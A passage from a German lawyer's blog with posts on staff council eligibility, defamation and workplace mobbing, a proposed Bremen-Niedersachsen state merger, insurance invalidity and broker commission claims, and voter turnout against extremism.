Bearbeitung von Personalangelegenheiten des Beamten befasst ist. Das sei nach Auffassung des zuständigen Richters ein anderer Maßstab als die selbständige Entscheidungsbefugnis in § 10 Abs. 4 BremPersVG (VG Bremen, Beschluss vom 27.07.2012, Az. P K 449/12.PVL). Moralisch wird man sich sicherlich fragen, warum sich überhaupt ein Beamter mit derartigen Personalbefugnissen bzw. mit dessen "sozialen Personalpolitik über viele Jahre" in den Personalrat wählen lässt? Mir erscheint dies doch ziemlich janusköpfig. Oder ging es hier bei der angestrebten Freistellung als gewählter Personalrat wieder einfach nur um einen lukrativen Posten? Solche Eindrücke könnten vermieden werden, wenn eine derartige Wahl von Anfang an unmissverständlich nicht möglich gewesen wäre. So hat das Land Baden-Würrtemberg in seinem Personalvertretungsgesetz einen Satz der mit Bremen vergleichbaren Vorschrift angefügt: "Das gleiche gilt für die unmittelbaren Mitarbeiter der letztgenannten Beschäftigten, die als Personalsachbearbeiter die Entscheidungen vorbereiten." (Siehe nur § 12 Abs. 3 Satz 2 Personalvertretungsgesetz für das Land Baden-Württemberg (Landespersonalvertretungsgesetz - LPVG, in der Fassung vom 1. Februar 1996 (GBl. S. 205), zuletzt geändert durch Artikel 3 des Gesetzes vom 22. Mai 2012 (GBl. S. 327)) http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Rufmord: ignorieren oder reagieren? | 0 | 21.02.2011 - 20:02:42 | 20.08.2015 - 10:25:10 |
Rufmord und Mobbing fangen nicht selten ganz harmlos an: Am Anfang erfolgt eine beiläufige Bemerkung oder ein scheinbar harmloser Nebensatz: "Hast Du schon gehört? Er soll ja auch noch ...! Aber nicht weitersagen!" Mit diesen Worten werden Gerüchte auf die Reise geschickt. Egal, ob die Geschichte wahr ist oder nicht – sie verbreitet sich so schnell wie ein Großfeuer. Irgendwann aber gelangt das von vielen erzählte Gerücht dann meist auch bei der Person des Interesses an. Diese ignoriert den Klatsch oder überlegt, etwas dagegen zu unternehmen. 1. Ignorieren oder reagieren? Da gibt es eine Auffassung, die mit einem Gegenangriff ein neues Gerücht in Welt setzen will. Bekanntlich erzählt man es derjenigen Person, die stets für sich in Anspruch nimmt: "Ich kann Schweigen wie ein Grab." Bei solchen Quasselstrippen klappt es dann ganz von alleine. Aber Vorsicht: Wer ein Gerücht verbreitet, kann sich strafbar und schadensersatzpflichtig machen! Viele Menschen glauben, dass sie sich nicht strafbar machen, wenn sie Gerüchte nur weitererzählen. Aber auch das bloße Weiterverbreiten fremder Gerüchte kann als üble Nachrede gelten und strafbar sein. Früher hat man Rufmord und Mobbing ignoriert. Heute gehen immer mehr Betroffene in die Offensive. Nach meiner Auffassung sollten Betroffene mit Hilfe des Gerichts und der Polizei reagieren. Wichtig ist dabei zunächst, Beweise zu sammeln: Verleumdende oder beleidigende Aussagen sofort aufschreiben, notfalls sogar über Jahre: im genauen Wortlaut samt Datum, Uhrzeit, Anlass und Namen der Zeugen! Dies gilt gleichsam für Rufmord und Mobbing im Internet, insbesondere in sogenannten Foren und sozialen Netzwerken. Hier können Beweise nach einer Anzeige von der Polizei gesammelt werden (z. B. werden dann beim Verdächtigen Computer beschlagnahmt) oder aber der Provider für das Portal wird per Gerichtsbeschluss verpflichtet, alle Daten des verdächtigen Nutzers herauszugeben. 2. Was sind die Gründe für Rufmord? Wird ein Gerücht weitererzählt, so sollte man sich fragen, warum will der Erzähler den Dritten diffamieren oder gar denunzieren? Wass kann der Erzähler für ein Interesse haben? Wer Gerüchte in die Welt setzt, spielt nämlich meistens ein böses Spiel. Entweder man will einen Menschen lächerlich machen, sich für etwas rächen oder von sich selbst, d. h. seiner eigenen Unfähigkeit, ablenken. Aber auch Neid, Feigheit oder Profitgier spielen in der Praxis eine große Rolle. Im Beruf wird Mobbing nicht selten gezielt zum Stellenabbau eingesetzt. Die systematische Schikane durch Vorgesetzte nennt man Bossing. Im Geschäftsleben verbreiten Selbständige Gerüchte über Konkurrenten, Nachbarn wollen unliebsame Mitbewohner mit übler Nachrede loswerden oder bei Scheidungen verleumden Eheleute bewusst ihre Ex-Partner. Besonders schlimm und verwerflich sind dabei Diffamierungen und Demütigungen des Ehepartners über viele Jahre im Beisein der gemeinsamen Kinder (z. B. um den Ehepartner los zu werden, aber auch aus Neid auf das tolle Verhältnis des Ehepartners zu den gemeinsamen Kindern). Weil Kinder dieses böse Spiel nicht nachvollziehen können, können solche Machenschaften zu einer psychischen Erkrankung der gemeinsamen Kinder führen. Welche negativen Auswirkungen Mikropolitik haben kann, wenn sie gezielt mit Mobbing verbunden wird, habe ich in dem Fall "Mobbing oder mehr ..." beschrieben. Hierzu möchte ich auf meine Homepage unter www.andre-helmke.de und dort unter "Interessante Fälle" verweisen. 3. Was kann man im Einzelfall tun? - Wie bereits oben erwähnt worden ist, kann man Strafanzeige gegen den bekannten Mobber bei der Polizei stellen und ihn zivilrechtlich auf Schadensersatz verklagen. - Aber auch eine Strafanzeige gegen Unbekannt ist denkbar. - Machen Intrigen psychisch krank, kommt auch eine Körperverletzung in Betracht. - Unterlassungsverfügungen können auch im sogenannten einstweiligen Verfügungsverfahren beantragt werden. - Übrigens: Wer fälschlich beim Finanzamt denunziert wird, kann den Namen des Informanten verlangen. So erhält man gute Beweise für weitere Verfahren vor Gericht. - Wird das Strafverfahren gegen den bekannten Mobber eingestellt, hilft oft eine Privatklage. Scheitert der gem. § 380 StPO bei manchen Delikten vorgeschriebene Sühnetermin beim Schiedsmann, übernimmt ein Strafrichter den Fall. 4. Wer macht so etwas? Auffällig ist für mich, dass zum Teil vermeintlich angesehene Personen des öffentlichen Lebens mit anerkannten gesellschaftlichen Positionen sich auch dieser Instrumentarien bedienen. Sie sind besonders freundlich und gerieren sich als sehr sozial. Erzählen solche Personen entsprechende Gerüchte, so möchte man dem auf den ersten Blick doch Vertrauen schenken. Ich rate aber dazu, diese Äußerungen zumindest kritisch zu durchleuchten und sich immer wieder zu fragen, was für ein Interesse möchte diese Person mit diesen Äußerungen verfolgen? Schließlich sollte man sich über seinen Umgang Gedanken machen. Denn bei solchen bösartigen Menschen kann jeder die nächste Person des Interesses werden - manchmal sogar schon nach dem Umdrehen. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Länderfusion Bremen-Niedersachsen | 2 | 01.08.2013 - 15:38:37 | 20.06.2015 - 12:50:12 |
In der Vergangenheit haben wiederholt einzelne Länder einen Vorstoß zur Neuausrichtung des Länderfinanzausgleichs unternommen. Er berechnet sich gem. Art. 107 ff. GG derart kompliziert, dass die Finanzbeziehungen der Länder immer undurchschaubarer werden und schließlich die Länder sich immer mehr in ihrer Finanzkraft unterscheiden. Dies führt neuerdings in manchen Ländern zu erheblichen finanziellen Engpässen, wodurch eine Tendenz zum "Kaputtsparen" zu erkennen ist. Besonders schwierig wird die Lage ab 2019. Dann nämlich läuft der bisherige Länderpakt aus und die Schuldenbremse beginnt zu greifen (siehe dazu unter http://de.wikipedia.org/wiki/Schulden bremse_(Deutschland)). Gemeinsam mit Bayern verlangt zudem die Landesregierung Hessen eine grundlegende Umgestaltung des Länderfinanzausgleichs und haben gemeinsam Anfang 2013 eine Klage beim Bundesverfassungs- gericht eingereicht. Sie begründen die Klage sinngemäß damit, dass nach dem derzeitigen System für ein reiches Land der Anreiz gedämpft wird, zusätzliche Steuereinnahmen anzustreben, wenn die Mehreinnamen durch den Finanzausgleich gleich wieder verloren gehen. Für die schwachen Länder gibt es andererseits wenig Grund, an ihrer Politik etwas zu ändern. Dies hat bereits der Alt-Bundespräsident Roman Herzog in einem Interview Anfang 2011 ebenfalls so gesehen: "Die Anreizfrage stellt sich natürlich vor allem ganz konkret auf der kommunalen Ebene. Da gibt es den einen oder anderen Bürgermeister, der sagt: 'Warum soll ich meinen Bürgern durch ein Gewerbegebiet Lastwagen zumuten, die da immer rein- und rausfahren. Es ist doch viel schöner, wenn ich eine nette Eigenheimsiedlung habe und lass andere Kommunen für die Wirtschaft sorgen.' Da schlägt die Landesebene auf die Kommunalebene durch." (Das Parlament Nr. 05-06 / 31.1.2011). Gerade die jüngeren Presseberichte belegen wie desolat die Haushaltslage in Bremen ist. Seit 2007 wurden fünf Milliarden Euro neue Schulden gemacht (FAZ-Online vom 15.10.2012). Sollte die Klage vor dem Bundesverfassungsgericht Erfolg haben, was nach meiner Einschätzung - rein materiell betrachtet - durchaus wahrscheinlich ist, wird das Land Bremen ein noch größeres finanzielles Problem bekommen. Jedenfalls darf es nicht dazu kommen, dass sich Bremerhaven und Bremen kaputtsparen. Erst kürzlich ist bekannt geworden, dass nahezu eine ganze Gruppe von Sonderbeamten der Polizei in Bremen einen Versetzungsantrag in ein anderes Bundesland gestellt haben (radiobremen online, 11.06.2013). Man kann sich sicherlich vorstellen, dass der Frust der Beamten im Lande Bremen sehr groß ist, wenn der Senat beschließt, dass die Tariferöhungen nicht auf die Beamten übertragen werden sollen, alles aus finazieller Not heraus, so wie es heißt. Weil andere Bundesländer mehr für die gleiche Arbeit zahlen, haben vermutlich 144 Bremerhavener Lehrer einen Antrag gestellt, woanders als in Bremerhaven arbeiten zu dürfen (siehe NZ, 20.03.2013, Seite 10). "Sie sind unzufrieden mit dem Tarifabschluss für die Angestellten im öffentlichen Dienst, denn ein großer Kritikpunkt wurde damit nicht gelöst. Die Gewerkschaften wollten erreichen, dass angestellte Lehrer gleich bezahlt werden. Bislang gibt es von Land zu Land zum Teil große Gehaltsunterschiede." (http://www.radiobremen.de/politik/ nachrichten/lehreroeffentlicherdienst100.html) Im Juni 2013 wurde sogar eine Online-Petition des Vereins Bremischer Richter und Staatsanwälte ins Netz gestellt (siehe unter https://petition.bremische-buergerschaft.de/index.php?n= petitionsdetails&s=1&c=date_insert&d=DESC&b=0&l=10& searchstring=&pID=1503). Diese Online-Petition wurde vom dbb - Landesbund Bremen -, vom Deutschen Hochschulverband - Landesverband Bremen -, vom Verein Bremischer Richter und Staatsanwälte sowie von der Vereinigung Bremischer Verwaltungsrichterinnen und Verwaltungsrichter initiiert. In der Petition wird die Bremische Bürgerschaft dazu aufgefordert, baldmöglichst eine gesetzliche Besoldungs - und Versorgungsanpassung für alle Beamtinnen und Beamten, Richterinnen und Richter unter zeit - und inhaltsgleicher Übernahme des Tarifabschlusses im öffentlichen Dienst zu beschließen und allen Planungen des Senats, die dahinter zurückbleiben, ihre Zustimmung zu verweigern. Auch wenn die Bundesländer nicht mit Unternehmen verglichen werden und damit nicht in die Insolvenz getrieben werden können, so möchte ich doch diese Fusion vorschlagen. Der Kostendruck zwingt viele Unternehmen zu Fusionen, die nach meinen Beobachtungen in der Vergangenheit erfolgreich durchgeführt worden sind. Das Ziel ist eindeutig die Kostenminimierung. Da liegt es doch auf der Hand, dass auch Länder wie Bremen und Niedersachsen zwecks Kosteneinsparungen fusionieren. Es würde nur ein Landesparlament und nur eine Landesregierung benötigt werden und die Verwaltungskosten könnten reduziert werden. Auch viele Behörden und die gesamte Bürokratie ließen sich zusammenlegen. Der Bremer Wirtschaftswissenschaftler Günter Dannemann hatte im Jahre 2005 bereits ausgerechnet, dass - allein - eine wegfallende politische Führung im Lande Bremen 100 Millionen Euro einsparen würde (siehe Spiegel online vom 11.04.2005 unter http://www. spiegel.de/spiegel/print/d-39997518.html). Man stelle sich einmal vor, dieses Geld würde beispielsweise dem Schulwesen zur Verfügung gestellt werden ... Die Politiker im Lande Bremen sollten daher möglichst frühzeitig mit dem Bund und dem Lande Niedersachsen in Verhandlung treten. Ich meine nämlich, dass eine Neuordnung der Bundesländer gerade im Norden notwendig ist, um unnötige Kosten einzusparen. Auch müsste sich Bremen nicht mehr Gedanken über viele eigene Gesetze machen. Die Gesetze in Niedersachsen sind gut und könnten übernommen werden. Bremen und Bremerhaven würden dann kreisfreie Städte in Niedersachsen werden. Übrigens kennt Niedersachsen schon seit sehr vielen Jahren die Direktwahl des (Ober-) Bürgermeisters ... Zwar ist mittlerweile endlich beschlossen worden, die Direktwahl des (Ober-) Bürgermeisters auch in Bremerhaven einzuführen. Aber für mich stellt sich die Frage nach dem Wann? Bereits in den 80er Jahren habe ich an vielen Diskussionen und Vorschlägen zur Ausrichtung Bremerhavens für den Tourismus teilgenommen. Wenn man bedenkt, wie lange diese Umsetzung gedauert hat, kann man sich sicherlich vorstellen, wie lange es dauern wird, bis Bremerhaven die Direktwahl des (Ober-) Bürgermeisters eingeführt haben wird ... Die Übernahme des Niedersächsischen Kommunalverfassungs- gesetzes (NKomVG) hätte den Vorteil, das Rad nicht neu erfinden zu müssen. Auch wird in diesem Gesetz ein starker (Ober-) Bürgermeister geregelt, den Bremerhaven und Bremen meines Erachtens sicher nötig haben. Im Falle einer Fusion mit Niedersachsen könnte den dann kreisfreien Städten Bremerhaven und Bremen ein erheblicher Teil ihrer Schulden erlassen werden. So bekämen Bremen und Bremerhaven wieder mehr finanziellen Spielraum und Reserven für freiwillige kommunale Projekte. Dazu gehören zum Beispiel (siehe http://de.wikipedia.org/wiki/Kommunale_Aufgabenstruktur): Die Sorge für das wirtschaftliche Wohl der Einwohner (also Märkte und Messen, Gewerbeansiedlung, Verkehrswege, ÖPNV, Energie- und Wasserversorgung usw.), das kulturelle (Musik- und Volkshochschulen, Bibliotheken, Museen, Theater, Sportstätten) und das soziale (Armenfürsorge, Altenpflege, Suchtberatung und die Krankenhäuser). Im letzteren Falle besteht nach den aktuellen Presseberichten sogar dringender Handlungsbedarf. Das freiwerdende qualifizierte Personal könnte anderweitig verwendet und auch in eine andere Stadt in dem neuen Bundesland Niedersachsen-Bremen je nach Bedarf umgesetzt bzw. versetzt werden, je nachdem also wo es "brennt". Dies gilt natürlich auch für Lehrer, die doch so dringend an manchen Schulen benötigt werden und für die Polizei, die schwerpunktmäßig fachlich qualifiziertes - und den Tätern nicht bekanntes - Personal z. B. für die Bekämpfung von Einbruchskriminalität einsetzen könnte. Es gibt meines Erachtens eine Vielzahl von Gründen für eine Neugliederung der Bundesländer, zumindest für eine Länderfusion Bremen-Niedersachsen. Vielleicht kann auch gleich ein neuer Nordstaat (mithin die Schaffung eines neuen größeren Bundeslandes im Norden ) mit gleicher Argumentation geschaffen werden. Eine Länderfusion Bremen-Niedersachsen lässt sich meines Erachtens aber schneller umsetzen. Eine erste rechtliche Betrachtung haben ich in einer Antwort zu diesem Blogthema gespeichert. Beispielsweise müssten die Ländesbehörden in Bremen und Bremer- haven nur in die Strukturen von Niedersachsen integriert werden, wodurch diverse Gehälter in den Führungsetagen eingespart werden könnten. Bei dieser Gelegenheit würde ich mir selbstverständlich auch die - meines Erachtens längst überfällige - Abschaffung der kommunalen Polizei in Bremerhaven wünschen. Die Bremerhavener kommunale Polizei würde mit ihrem Führungsapparat in das Landespolizeipräsidium Niedersachsens integriert werden. Ich meine, dass wir auch eine Vorbildfunktion innerhalb der Europäischen Gemeinschaft übernehmen sollten. Es erscheint unglaubhaft, wenn anderen Ländern innerhalb der EU Sparmaßnahmen auferlegt werden, wir selbst diese aber nicht in den Griff bekommen. Vom Bund her könnten Anreize dadurch geschaffen werden, dass den zur Fusion gewillten Ländern im Erfolgsfalle Schulden erlassen werden und erspartes Geld zum Teil von den Städten Bremerhaven und Bremen für freiwillige kommunale Aufgaben verwendet werden dürfen. Das Problem bei der praktischen Umsetzung werden jedoch sicherlich unsere Politiker sein. Denn wer sägt schon gern an dem Ast, auf dem er hoch und trocken sitzt? Vielleicht kann sich dieser Problematik ja wieder der Verein "Mehr Demokratie" (http://www.mehr-demokratie.de/) und evtl. in Kooperation mit dem "Bund der Steuerzahler" (http://www.steuerzahler.de/Home/1692b637/index.html) annehmen. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Anspruch auf Invaliditätsentschädigung? | 1 | 13.06.2015 - 17:13:06 | 13.06.2015 - 17:26:02 |
Am 13.06.2015 wurde die erste Version des Kontextbaumes "PUInval" (Besteht Anspruch auf Invaliditätsentschädigung?) in Justitia21 aufgenommen. Mit dem Kontextbaum "PUInval" (Besteht Anspruch auf Invaliditätsentschädigung?) können Sie interaktiv und denklogisch die wesentlichen und praxisrelevanten Voraussetzungen prüfen, inwieweit ein Anspruch auf einmalige Zahlung eines Kapitalbetrages in Form einer Invaliditätsentschädigung) aus der privaten Unfallversicherung besteht. 1. Beachten Sie bei der Nutzung dieses Kontextbaumes bitte, dass die Leistungsvoraussetzungen für eine Invaliditätsleistung und Invaliditätsentschädigung in den Ihrem Vertrage zugrunde liegenden Allgemeinen Unfallversicherungsbedingungen (AUBs) eingehend beschrieben sind und von diesem Kontextbaum im Einzelfall abweichen können. So wird im § 1 Satz 1 VVG (Versicherungsvertragsgesetz), der die vertragstypischen Pflichten des Versicherers beschreibt, lediglich ausgeführt, das sich der Versicherer mit dem Versicherungsvertrag verpflichtet, ein bestimmtes Risiko des Versicherungsnehmers oder eines Dritten durch eine Leistung abzusichern, die er bei Eintritt des vereinbarten Versicherungsfalles zu erbringen hat. Dieser Kontextbaum prüft allerdings praxisrelevante, typische und denklogische (Grund-) Voraussetzungen für einen solchen Anspruch auf - einmalige - Zahlung eines Kapitalbetrages (eine Invaliditätsleistung) aus der privaten Unfallversicherung. Wichtiger Hinweis: Nicht selten kommen darüber hinaus auch noch weitere Ansprüche in Betracht, so insbesondere auf Zahlung einer lebenslangen Invaliditätsrente. Deren Voraussetzungen werden mit diesem Kontextbaum nicht abgeprüft. Meisten verlangen die Unfallversicherungsbedingungen einen Invaliditätsgrad von mindestens 50 Prozent. Wie ein solcher Gesamt-Invaliditätsgrad zu berechnen ist, kann im Einzelfall sehr kompliziert und umstritten sein. Es wird daher an dieser Stelle nochmals ausdrücklich darauf hingewiesen, dass Justitia21 die Beratung im Einzelfall niemals ersetzen kann. Als Ratgeber enthält dieser Kontextbaum aber teilweise auch Hinweise auf Rentenansprüche aus einer privaten Unfallversicherung. 2. Versichert ist in der Praxis in der Regel eine Invalidität, die - innerhalb eines Jahres, vom Unfalltage an gerechnet, eingetreten ist, und - spätestens innerhalb von weiteren 3 Monaten ärztlich festgestellt wurde. Mit dieser Fristenregelung, die bekanntlich im Einzelfall auch anders terminiert sein kann, soll nach höchstrichterlicher Rechtsprechung gewährleistet sein, dass die Versichertengemeinschaft, unabhängig vom Verhalten des Versicherungsnehmers, nicht mit regelmäßig schwer aufklärbaren und unübersehbaren Spätschäden belastet werden soll, die nicht in die Prämienkalkulation der Versicherer mit eingeflossen sind. Zusätzlich zur Schadensmeldung ist ein Invaliditätsanspruch zumeist auch innerhalb von 15 Monaten anzumelden, damit der Versicherer zeitnah die Möglichkeit zur weiteren Klärung im tatsächlichen und medizinischen Bereich hat. Fehlt es bereits an den dargelegten Voraussetzungen, ist selbst eine unfallbedingte Invalidität, die außerhalb der Fristen eintritt bzw. festgestellt wird, nicht versichert! Bei diesen Fristen handelt es sich um Ausschlussfristen. Das bedeutet, dass bei Fristversäumnis Invaliditätsansprüche in der Regel ausgeschlossen sind. Die Versicherer handeln erfahrungsgemäß sehr konsequent. Wird eine dieser Fristen versäumt bzw. nicht nachweisbar bzw. (angeblich) nicht inhaltlich korrekt eingehalten, wird keine Invaliditätsleistung erbracht! 3. Beachten Sie bitte ferner, dass dieser Kontextbaum die in jedem Versicherungsvertrag enthaltenen besonderen Vertragspflichten, sogenannte Obliegenheiten, nicht abprüft. Obliegenheiten sind besondere Vertragspflichten des Versicherungsnehmers bzw. der versicherten Person, bei deren Nichterfüllung Rechtsnachteile drohen. Bei derartigen Obliegenheiten wird zwischen vorvertraglichen und solchen nach einem Schadenfall unterschieden. Vorvertraglich bestehen besondere Anzeigepflichten gegenüber dem Versicherer. So hat z. B. der Versicherungsnehmer gem. § 19 Abs. 1 Satz 1 VVG bis zur Abgabe seiner Vertragserklärung die ihm bekannten Gefahrumstände, die für den Entschluss des Versicherers, den Vertrag mit dem vereinbarten Inhalt zu schließen, erheblich sind und nach denen der Versicherer in Textform gefragt hat. Aber auch nach einem Schadenfall werden in der Regel Obliegenheiten für den Versicherungsnehmer vereinbart. Dazu gehört z. B. seine Pflicht, nach einem Schadenfall unverzüglich einen Arzt hinzuzuziehen und den Versicherer zu unterrichten (siehe z. B. § 15 II AUB 61, § 9 I AUB 94/98, Ziffern 8.1, 8.2 und 9 GUB 99, Ziff. 7.1 AUB 08/99). Des Weiteren ist die vom Versicherer übersandte Schadensanzeige unverzüglich wahrheitsgemäß auszufüllen und an diesen umgehend zurückzusenden (siehe z. B. § 15 II (4) AUB 61, § 9 II AUB 94/88, Ziff. 7.2 AUB 08/99). Erfolgt die Schadensmeldung zu spät, kann dies zur Leistungsfreiheit des Versicherers führen. Tipp: Als Versicherungsnehmer bzw. als versicherte Person sollten unbedingt diese sogenannten Obliegenheiten beachtet werden, um den Versicherungsschutz nicht zu verlieren! Konsultieren Sie im Zweifelsfalle unbedingt einen Rechtsanwalt oder eine Rechtsanwältin. 4. Der zu prüfende Ausgangsfall könnte wie folgt gelagert sein: a) Grundfall Die 80-jährige Versicherungsnehmerin stürzte im Badezimmer ihrer Wohnung und brach sich dabei das rechte Handgelenk und die rechte Hüfte. In der ersten, auf einem Formular des Versicherers abgegebenen, von der Versicherungsnehmerin unterzeichneten Schadenanzeige wenige Tage nach dem Vorfall wurden die Frage "War der Verletzte vor Eintritt des Unfalls vollkommen gesund und arbeitsfähig?" bejaht und die Frage "War der Verletzte in den letzten Jahren wegen allgemeiner Erkrankungen in ärztlicher Behandlung gewesen?" verneint. Mit Schreiben wenige Wochen nach dem Vorfall bat der Versicherer unter Bezugnahme auf ein ärztliches Gutachten um Auskunft über den Gesundheitszustand der Versicherungsnehmerin vor dem Unfall. Aus den daraufhin von der Versicherungsnehmerin übersandten Arztberichten ergab sich, dass sie in der Vergangenheit lediglich einmal gestürzt war, was die behandelnden Ärzte auf ein einmaliges Kreislaufproblem aufgrund starker Sommerhitze zurückführten. Darauf lehnte der Versicherer jegliche Leistung aus der privaten Unfallversicherung ab mit dem Hinweis, dass auch in diesem aktuellen Falle eine Bewusstseinsstörung zum Unfall geführt habe und daher nicht vom Versicherungsschutz umfasst sei. Hat die 80-jährige Versicherungsnehmerin Anspruch auf vertragsgemäße Invaliditätsleistungen, hier in diesem Kontextbaum beschränkt auf den Anspruch eines einmaligen Kapitalbetrages als Invaliditätsentschädigung? b) Fallabwandlung Seit dem Sturz im Badezimmer klagt die 80-jährige Versicherungsnehmerin zusätzlich über einen Tinnitus im rechten Ohr. Der Versicherer verweigert jegliche Leistungen auch diesbezüglich und verweist auf ihre allgemeinen Unfallbedingungen, wonach derartige Schäden durch die sog. Psychoklausel ausgeschlossen seien. Muss der Versicherer den Tinnitus als Dauerschaden bei der Berechnung der Invaliditätsentschädigung berücksichtigen? Wichtiger Hinweis: Um diesen Kontextbaum laden und abprüfen zu können, müssen Sie sich zumindest als Basis-Benutzer bei Justitia21 angemeldet haben. Für Basis-Benutzer werden keine Nutzungsgebühren für Justitia21 fällig. Einzelheiten entnehmen Sie bitte den Nutzungsbedingungen für Justitia21. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Besteht Anspruch auf Maklerprovision? | 0 | 13.06.2015 - 16:51:11 | 13.06.2015 - 16:51:11 |
Am 13.06.2015 wurde die erste Version des Kontextbaumes "MVProvi" (Besteht Anspruch auf Maklerprovision?) in Justitia21 aufgenommen. Mit dem Kontextbaum "MVProvi" (Besteht Anspruch auf Maklerprovision?) können Sie interaktiv und denklogisch die wesentlichen und praxisrelevanten Voraussetzungen prüfen, ob der Makler gegenüber dem Maklerkunden (Auftraggeber) einen Anspruch auf Zahlung einer Maklerprovision hat. Die gesetzlichen Regelungen zum Maklerrecht im Bürgerlichen Gesetzbuch (§§ 652, 653, 654 BGB) sind dürftig. Das Maklerrecht ist daher weitestgehend Richterrecht. Grundsätzlich gilt: eine Maklerprovision, auch Maklercourtage genannt, wird nur dann fällig, wenn der Makler auch tatsächlich einen wirksamen Kaufvertrag zwischen dem Verkäufer und Käufer einer Immobilie bzw. einen wirksamen Mietvertrag zwischen dem Vermieter und dem Mieter nachgewiesen bzw. vermittelt hat. Kommt ein solcher Vertrag gar nicht zustande, besteht in aller Regel auch kein Anspruch auf Maklerprovision. Aber auch wenn ein solcher Vertrag zustande gekommen ist, gibt es Ausnahmen von der Verpflichtung zur Zahlung einer Maklerprovision. Ab 01.06.2015 gilt bei der Vermietung von Wohnungen das sogenannte Bestellerprinzip. Dies bedeutet, dass künftig derjenige den Makler zu bezahlen hat, der ihn beauftragt hat und das sind in der Regel die Vermieter. Die Vermieter können also in einem solchen Fall die Maklerprovision nicht auf den Mieter abwälzen. Vorsorglich wird darauf hingewiesen, dass dieser Kontextbaum nicht die Prüfung eines Maklerprovisionsanspruchs bei einer Geschäftsführung ohne Auftrag und auch nicht auf den unter Kaufleuten eingeht. Ebensowenig prüft dieser Kontextbaum einen Vertrag zugunsten Dritter. Nicht selten wird im notariellen Kaufvertrag zwischen dem Verkäufer und dem Käufer ein Maklerprovisionsanspruch des Maklers gegenüber dem Käufer als echter Vertrag zugunsten Dritter formuliert. Dadurch soll dem Makler, unabhängig von seiner tatsächlichen Leistung, ein eigener Anspruch gegenüber dem Käufer eingeräumt werden. Spätestens nach der Belehrung durch den Notar, wonach sich dadurch die Notargebühren und die Grundsteuer erhöhen, wollen viele Käufer eine solche Vereinbarung im notariellen Vertrag nicht. Aus Maklersicht kann es selbstverständlich von Vorteil sein, wenn ein solcher echter Vertrag zugunsten Dritter im notariellen Kaufvertrag vereinbart worden ist. Aus Käufersicht sollte ein solcher echter Vertrag zugunsten Dritter im notariellen Kaufvertrag aus vorgenannten Gründen nicht aufgenommen werden. Ferner hat so der Käufer im Nachgang immer noch die Möglichkeit, die Voraussetzungen für das Entstehen der Maklerprovision, so wie in diesem Kontextbaum, prüfen zu lassen. Wichtiger Hinweis: Um diesen Kontextbaum laden und abprüfen zu können, müssen Sie sich zumindest als Basis-Benutzer bei Justitia21 angemeldet haben. Für Basis-Benutzer werden keine Nutzungsgebühren für Justitia21 fällig. Einzelheiten entnehmen Sie bitte den Nutzungsbedingungen für Justitia21. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Aktives Wahlrecht gegen Extremisten | 0 | 27.03.2015 - 21:20:14 | 27.03.2015 - 21:20:14 |
Mit diesem Beitrag möchte ich die Bremerhavener (und Bremer) Bevölkerung daran erinnern, dass wir hier im Lande Bremen im kommenden Mai Wahlen haben. Viele beschweren sich zu Recht über Extremisten (auf der rechten sowie linken Seite gleichermaßen) in unseren Vertretungsorganen. Dies kann meines Erachtens verhindert werden, wenn sich wieder sehr viele Menschen aktiv an den Wahlen beteiligen. In der jüngeren Presse sind sehr viele Berichte über das Thema Rechtsextremismus erschienen. Dabei darf der Linksextremismus nach Erkenntnissen des Leiters des Berliner Forschungsverbunds SED-Staat, Herr Klaus Schroeder, und seiner wissenschaftlichen Mitarbeiterin, Frau Monika Deutz-Schroeder, nicht unterschätzt werden (siehe F.A.Z. vom 23.02.2015, Seite 8): Besonders stark gestiegen sind von "linken" Personen verübte Körperverletzungen. In der öffentlichen Wahrnehmung werden diese Gewalttaten quantitativ unterschätzt, da der Verfassungsschutz – warum auch immer – zwischen "links" und "linksextrem" motivieren Straf- und Gewalttaten unterscheidet und die nur "links"-motivierten Taten in der detaillierten Betrachtung außen vor lässt (Schroeder/Deutz-Schroeder a.a.O.). Das Bundeskriminalamt habe den beiden auf Nachfrage mitgeteilt, dass in den vergangenen Jahren als nichtextrem eingeschätzte "linke" Personen etwa 30 bis 40 Prozent der Gewalttaten verübten ![]() a.a.O. mit weiteren interessanten Ausführungen). Auf der rechten Seite stellt sich das zuvor beschriebene statistische Problem nicht, da nahezu alle Gewalttaten als rechtsextremistisch eingestuft werden. Sicherlich kann man seinen Unmut über diese Extremisten auch in Form der Teilnahme an Demonstrationen kundtun. Dies reicht aber nicht aus, um den Einzug solcher Randgruppen in die Vertretungsorgane zu verhindern. Manche Politiker organisieren sogar Demonstrationen gegen Extremisten, ohne aber dabei auf dieses bedeutende aktive Wahlrecht hinzuweisen. Deshalb empfinde ich solche Aufrufe doch eher als Wahlkampfgetöse. Viel wichtiger ist meines Erachtens die aktive Teilnahme an Wahlen. Denn man muss kein großer Mathematiker sein, um zu erkennen, dass sich eine geringe Wahlbeteiligung auch auf die Quoten der Extremisten auswirkt. Dies gilt natürlich unter der Prämisse, dass Extremisten bekanntlich regelmäßig von ihrem aktiven Wahlrecht Gebrauch machen. Dies bedeutet nach meiner These, dass Nichtwähler die Extremisten leider indirekt unterstützen! Übrigens bedeutet Wählen aktives Mitgestalten der Politik. Deswegen rufe ich alle Wahlberechtigten in Bremerhaven (und Bremen) dazu auf, von ihrem aktiven Wahlrecht Gebrauch zu machen, um damit aktive Demokratie gegen Extremisten zu praktizieren. Schließlich führte das im Jahr 2006 erfolgreich durchgeführte Volksbegehren der Initiatoren "Mehr Demokratie beim Wählen – Mehr Einfluss für Bürgerinnen und Bürger" zu einer Änderung des Wahlrechts, mit dem die Bürger/innen durch das sogenannte Kumulieren (Verteilen mehrerer Stimmen auf Kandidaten unterschiedlicher Wahllisten) und Panaschieren (mehrere Stimmen einem bestimmten Kandidaten geben) mehr Einfluss auf die Zusammensetzung der Bürgerschaft und der Stadtverordnetenversammlung nehmen können. Ich bin ja mal gespannt, ob die im Mai neu gewählte Stadtverordnetenversammlung die notwendige verfassungsändernde Mehrheit zusammenbekommt, um die Direktwahl des Oberbürgermeisters auch hier in Bremerhaven einzuführen. Oder bedarf es dazu wieder einmal eines Volksbegehrens ...  ![]() http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Berichterstattung über Person zulässig? | 0 | 15.12.2014 - 16:10:03 | 15.12.2014 - 16:28:44 |
